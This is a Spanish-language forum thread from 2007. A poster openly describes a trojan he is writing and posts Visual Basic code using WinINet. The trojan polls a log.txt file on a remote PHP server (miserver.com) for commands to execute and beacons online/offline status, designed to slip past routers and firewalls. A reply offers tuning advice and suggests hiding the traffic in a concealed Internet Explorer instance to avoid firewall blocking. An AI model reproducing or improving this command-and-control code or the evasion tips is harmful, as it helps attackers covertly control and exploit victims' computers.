Problema con apis wininet

Iniciado por Spider-Net, 29 Agosto 2007, 19:52 PM

0 Miembros y 1 Visitante están viendo este tema.

Spider-Net

Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código (vb) [Seleccionar]

' variables generales
Dim data As String
Dim x As Boolean
' Constantes para las funciones Api
Const scUserAgent = "API-Guide test program"
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_FLAG_RELOAD = &H80000000
Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
' Crea conexión a internet
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
    ByVal sAgent As String, _
    ByVal lAccessType As Long, _
    ByVal sProxyName As String, _
    ByVal sProxyBypass As String, _
    ByVal lFlags As Long) As Long
' Abre URL
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
    ByVal hInternetSession As Long, _
    ByVal lpszUrl As String, _
    ByVal lpszHeaders As String, _
    ByVal dwHeadersLength As Long, _
    ByVal dwFlags As Long, _
    ByVal dwContext As Long) As Long
' Cierra conexión
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
'CONTENIDO DEL FICHERO
Private Declare Function InternetReadFile Lib "wininet" ( _
ByVal hFile As Long, _
ByVal sBuffer As String, _
ByVal lNumBytesToRead As Long, _
lNumberOfBytesRead As Long) As Integer
'Variables para recargar constantemente
Dim hOpen As Long
Dim hFile As Long

'///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
Private Sub Form_Load()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver/log.php?comando=online"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
DoEvents
x = True
Timer1.Enabled = True
End Sub
'///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
Private Sub Form_Unload(Cancel As Integer)
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim hOpen As Long
Dim hFile As Long
Dim Url As String

Url = "http://miserver.com/log.php?comando=offline"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
Espera (1)
End Sub
'//////////////////////////////////////////////////////////////
Private Sub Timer1_Timer()
'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
Dim sBuffer As String * 128
Dim Ret As Long
Dim str_Total As String
Dim Url As String
If x = True Then

Url = "http://miserver.com/log.txt"

        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
        vbNullString, vbNullString, 0)
        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
'LEEMOS FICHERO

        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
       
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend
        x = False

Else
    'DESCARGAMOS FICHERO
     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
        Call InternetReadFile(hFile, sBuffer, 128, Ret)

        str_Total = sBuffer
        While Ret <> 0
            Call InternetReadFile(hFile, sBuffer, 128, Ret)
            str_Total = str_Total & Mid(sBuffer, 1, Ret)
            DoEvents
        Wend

        Text1.Text = str_Total
End If
End Sub

Sub Espera(Segundos As Single)
  Dim ComienzoSeg As Single
  Dim FinSeg As Single
  ComienzoSeg = Timer
  FinSeg = ComienzoSeg + Segundos
  Do While FinSeg > Timer
      DoEvents
      If ComienzoSeg > Timer Then
          FinSeg = FinSeg - 24 * 60 * 60
      End If
  Loop
End Sub



Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.

cobein

Un a cosa que podes hacer es poner Sleep 100 junto con cada DoEvents, esto ayuda a no cargar tanto el sistema,  parar el timer "Timer1.Enabled = False al entrar en Timer1_Timer y reanudalo antes de salir, por que si el proceso que esta dentro tarda mucho el timer se va a disparar nuevamente antes de que tu funcion termine. Con respecto a lo demas, mantener la conexión abierta no me parece buena idea y por ultimo, si no tienes nada para detener or pasar los Firewalls este programa posiblemente sea bloqueado. Si lo que vas a hacer es nada mas que eso, una idea simple es abrir una instancia de Internet Explorer de manera oculta, y usar el shell para manejarla, como Iexplore esta habilitado en casi todas las maquinas no habria problema.
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

Spider-Net

Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien.

Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos :P